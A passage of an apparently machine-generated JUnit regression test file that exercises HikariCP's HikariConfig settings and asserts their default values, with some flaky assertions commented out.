java.lang.String str44 = hikariConfig38.getConnectionCustomizerClassName();
java.lang.String str45 = hikariConfig38.transactionIsolationName;
java.util.Properties properties46 = null;
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties46);
hikariConfig47.leakDetectionThreshold = 100;
hikariConfig47.minPoolSize = (byte) 1;
hikariConfig47.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer54 = hikariConfig47.connectionCustomizer;
java.lang.String str55 = hikariConfig47.getDataSourceClassName();
long long56 = hikariConfig47.getMaxLifetime();
java.lang.String str57 = hikariConfig47.getConnectionCustomizerClassName();
long long58 = hikariConfig47.getMaxLifetime();
hikariConfig47.setMaximumPoolSize((int) '4');
java.util.Properties properties61 = hikariConfig47.getDataSourceProperties();
hikariConfig38.setDataSourceProperties(properties61);
hikariConfig11.setDataSourceProperties(properties61);
hikariConfig11.setMaximumPoolSize((int) (byte) 0);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertNull(iConnectionCustomizer29);
// flaky: org.junit.Assert.assertTrue("'" + long30 + "' != '" + 35L + "'", long30 == 35L);
org.junit.Assert.assertTrue("'" + int39 + "' != '" + (-1) + "'", int39 == (-1));
org.junit.Assert.assertNull(str42);
org.junit.Assert.assertTrue("'" + int43 + "' != '" + 60 + "'", int43 == 60);
org.junit.Assert.assertNull(str44);
org.junit.Assert.assertNull(str45);
org.junit.Assert.assertNull(iConnectionCustomizer54);
org.junit.Assert.assertNull(str55);
// flaky: org.junit.Assert.assertTrue("'" + long56 + "' != '" + 35L + "'", long56 == 35L);
org.junit.Assert.assertNull(str57);
// flaky: org.junit.Assert.assertTrue("'" + long58 + "' != '" + 35L + "'", long58 == 35L);
org.junit.Assert.assertNotNull(properties61);
}
@Test
public void test19474() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19474");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setLeakDetectionThreshold((long) 60);
boolean boolean14 = hikariConfig1.isRegisterMbeans();
long long15 = hikariConfig1.maxLifetime;
hikariConfig1.setConnectionTestQuery("HikariPool-68");
long long18 = hikariConfig1.getMaxLifetime();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
hikariConfig20.setUseInstrumentation(true);
hikariConfig20.connectionTestQuery = "HikariPool-104";
boolean boolean28 = hikariConfig20.isJdbc4connectionTest;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer29 = null;
hikariConfig20.connectionCustomizer = iConnectionCustomizer29;
boolean boolean31 = hikariConfig20.isJdbc4ConnectionTest();
long long32 = hikariConfig20.getConnectionTimeout();
java.util.Properties properties33 = hikariConfig20.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties33);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
// flaky: org.junit.Assert.assertTrue("'" + long15 + "' != '" + 35L + "'", long15 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 35L + "'", long18 == 35L);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + boolean28 + "' != '" + true + "'", boolean28 == true);
org.junit.Assert.assertTrue("'" + boolean31 + "' != '" + true + "'", boolean31 == true);
// flaky: org.junit.Assert.assertTrue("'" + long32 + "' != '" + 10L + "'", long32 == 10L);
org.junit.Assert.assertNotNull(properties33);
}
@Test
public void test19475() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19475");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
int int8 = hikariConfig1.maxPoolSize;
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
long long10 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.isAutoCommit = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
}
@Test
public void test19476() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19476");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.dataSourceClassName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
}
@Test
public void test19477() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19477");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
int int21 = hikariConfig1.getTransactionIsolation();
int int22 = hikariConfig1.minPoolSize;
hikariConfig1.setAutoCommit(false);
java.lang.String str25 = hikariConfig1.connectionTestQuery;
int int26 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 10 + "'", int22 == 10);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
}
@Test
public void test19478() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19478");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.isInitializationFailFast = true;
int int16 = hikariConfig10.acquireRetries;
hikariConfig10.setMaxLifetime((long) (-1));
int int19 = hikariConfig10.getTransactionIsolation();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
int int26 = hikariConfig21.getMaximumPoolSize();
int int27 = hikariConfig21.transactionIsolation;
java.util.Properties properties28 = hikariConfig21.dataSourceProperties;
hikariConfig10.setDataSourceProperties(properties28);
hikariConfig1.dataSourceProperties = properties28;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
java.lang.String str32 = hikariConfig31.connectionInitSql;
hikariConfig31.setIdleTimeout((long) (byte) -1);
hikariConfig31.catalog = "HikariPool-59";
hikariConfig31.setCatalog("HikariPool-222");
hikariConfig31.setMinimumPoolSize(87);
hikariConfig31.minPoolSize = '#';
hikariConfig31.dataSourceClassName = "HikariPool-336";
java.lang.String str45 = hikariConfig31.getConnectionTestQuery();
hikariConfig31.dataSourceClassName = "HikariPool-25130";
hikariConfig31.setIdleTimeout((long) 87);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 60 + "'", int26 == 60);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertNull(str32);
org.junit.Assert.assertNull(str45);
}
@Test
public void test19479() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19479");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
int int8 = hikariConfig1.getAcquireIncrement();
hikariConfig1.maxLifetime = 1800000L;
hikariConfig1.dataSourceClassName = "HikariPool-489";
hikariConfig1.setConnectionCustomizerClassName("HikariPool-320");
javax.sql.DataSource dataSource15 = null;
hikariConfig1.setDataSource(dataSource15);
boolean boolean17 = hikariConfig1.isAutoCommit;
boolean boolean18 = hikariConfig1.isInitializationFailFast();
hikariConfig1.connectionTestQuery = "HikariPool-1040";
int int21 = hikariConfig1.getTransactionIsolation();
javax.sql.DataSource dataSource22 = hikariConfig1.getDataSource();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement((int) (short) 10);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 0 + "'", int8 == 0);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(dataSource22);
}
@Test
public void test19480() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19480");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4connectionTest;
long long5 = hikariConfig1.getIdleTimeout();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setIdleTimeout((long) (byte) 1);
hikariConfig1.setMaximumPoolSize((int) (byte) 10);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer17 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNull(iConnectionCustomizer17);
}
@Test
public void test19481() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19481");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
hikariConfig1.minPoolSize = (short) 0;
javax.sql.DataSource dataSource6 = hikariConfig1.getDataSource();
long long7 = hikariConfig1.getIdleTimeout();
hikariConfig1.setConnectionCustomizerClassName("HikariPool-16868");
java.lang.String str10 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertNull(dataSource6);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertNull(str10);
}
@Test
public void test19482() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19482");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
java.lang.String str6 = hikariConfig1.connectionCustomizerClassName;
long long7 = hikariConfig1.getMaxLifetime();
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setLeakDetectionThreshold(0L);
long long12 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setAcquireRetries(87);
hikariConfig1.leakDetectionThreshold = 10L;
java.lang.String str17 = hikariConfig1.getCatalog();
javax.sql.DataSource dataSource18 = hikariConfig1.dataSource;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 35L + "'", long7 == 35L);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 0L + "'", long12 == 0L);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNull(dataSource18);
}
@Test
public void test19483() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19483");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
boolean boolean7 = hikariConfig1.isRegisterMbeans();
javax.sql.DataSource dataSource8 = null;
hikariConfig1.setDataSource(dataSource8);
javax.sql.DataSource dataSource10 = null;
hikariConfig1.dataSource = dataSource10;
hikariConfig1.maxLifetime = (short) 10;
java.lang.String str14 = hikariConfig1.poolName;
long long15 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.dataSourceClassName = "HikariPool-20214";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
// flaky: org.junit.Assert.assertEquals("'" + str14 + "' != '" + "HikariPool-51443" + "'", str14, "HikariPool-51443");
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 0L + "'", long15 == 0L);
}
@Test
public void test19484() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19484");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setIdleTimeout((long) '4');
java.lang.String str7 = hikariConfig0.connectionCustomizerClassName;
java.util.Properties properties8 = hikariConfig0.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties8);
hikariConfig10.setAcquireRetries((int) 'a');
java.lang.String str13 = hikariConfig10.getPoolName();
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
// flaky: org.junit.Assert.assertEquals("'" + str13 + "' != '" + "HikariPool-51446" + "'", str13, "HikariPool-51446");
}
@Test
public void test19485() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19485");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
java.lang.String str9 = hikariConfig1.getConnectionCustomizerClassName();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer10;
java.lang.String str12 = hikariConfig1.transactionIsolationName;
java.lang.String str13 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setTransactionIsolation("HikariPool-134");
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
com.zaxxer.hikari.HikariConfig hikariConfig18 = new com.zaxxer.hikari.HikariConfig(properties16);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties16);
}
@Test
public void test19486() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19486");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
hikariConfig1.setDataSourceClassName("HikariPool-517");
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
boolean boolean14 = hikariConfig1.isInitializationFailFast();
hikariConfig1.isAutoCommit = false;
boolean boolean17 = hikariConfig1.isJdbc4connectionTest;
long long18 = hikariConfig1.getIdleTimeout();
hikariConfig1.setIdleTimeout((long) (byte) -1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
}
@Test
public void test19487() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19487");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setMinimumPoolSize((int) (byte) 0);
hikariConfig1.maxPoolSize = (byte) 1;
long long17 = hikariConfig1.maxLifetime;
hikariConfig1.connectionTimeout = 1800000L;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 35L + "'", long17 == 35L);
}
@Test
public void test19488() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19488");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.catalog = "HikariPool-205";
hikariConfig1.maxPoolSize = '#';
hikariConfig1.setMaxLifetime(87L);
java.lang.String str21 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setMaxLifetime((long) '4');
hikariConfig1.setMinimumPoolSize((int) (short) 1);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertNull(str21);
}
@Test
public void test19489() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19489");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.getPoolName();
boolean boolean9 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setDataSourceClassName("HikariPool-252");
long long12 = hikariConfig1.maxLifetime;
int int13 = hikariConfig1.maxPoolSize;
int int14 = hikariConfig1.acquireRetries;
int int15 = hikariConfig1.getMinimumPoolSize();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer16 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer16;
long long18 = hikariConfig1.idleTimeout;
long long19 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "hi!" + "'", str8, "hi!");
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 35L + "'", long12 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 60 + "'", int13 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
}
@Test
public void test19490() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19490");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer10;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
int int15 = hikariConfig14.getTransactionIsolation();
hikariConfig14.setRegisterMbeans(false);
hikariConfig14.isInitializationFailFast = true;
int int20 = hikariConfig14.acquireRetries;
hikariConfig14.setMaxLifetime((long) (-1));
boolean boolean23 = hikariConfig14.isInitializationFailFast();
hikariConfig14.poolName = "HikariPool-59";
hikariConfig14.setAutoCommit(false);
hikariConfig1.addDataSourceProperty("HikariPool-197", (java.lang.Object) false);
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay(0L);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + (-1) + "'", int15 == (-1));
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 3 + "'", int20 == 3);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
}
@Test
public void test19491() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19491");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTestQuery = "HikariPool-173";
hikariConfig1.setMaximumPoolSize(0);
java.lang.String str15 = hikariConfig1.getDataSourceClassName();
hikariConfig1.setRegisterMbeans(true);
java.util.Properties properties18 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig19 = new com.zaxxer.hikari.HikariConfig(properties18);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertNotNull(properties18);
}
@Test
public void test19492() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19492");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.connectionCustomizerClassName = "hi!";
hikariConfig0.setUseInstrumentation(false);
hikariConfig0.isJdbc4connectionTest = true;
hikariConfig0.setPoolName("");
int int11 = hikariConfig0.acquireRetries;
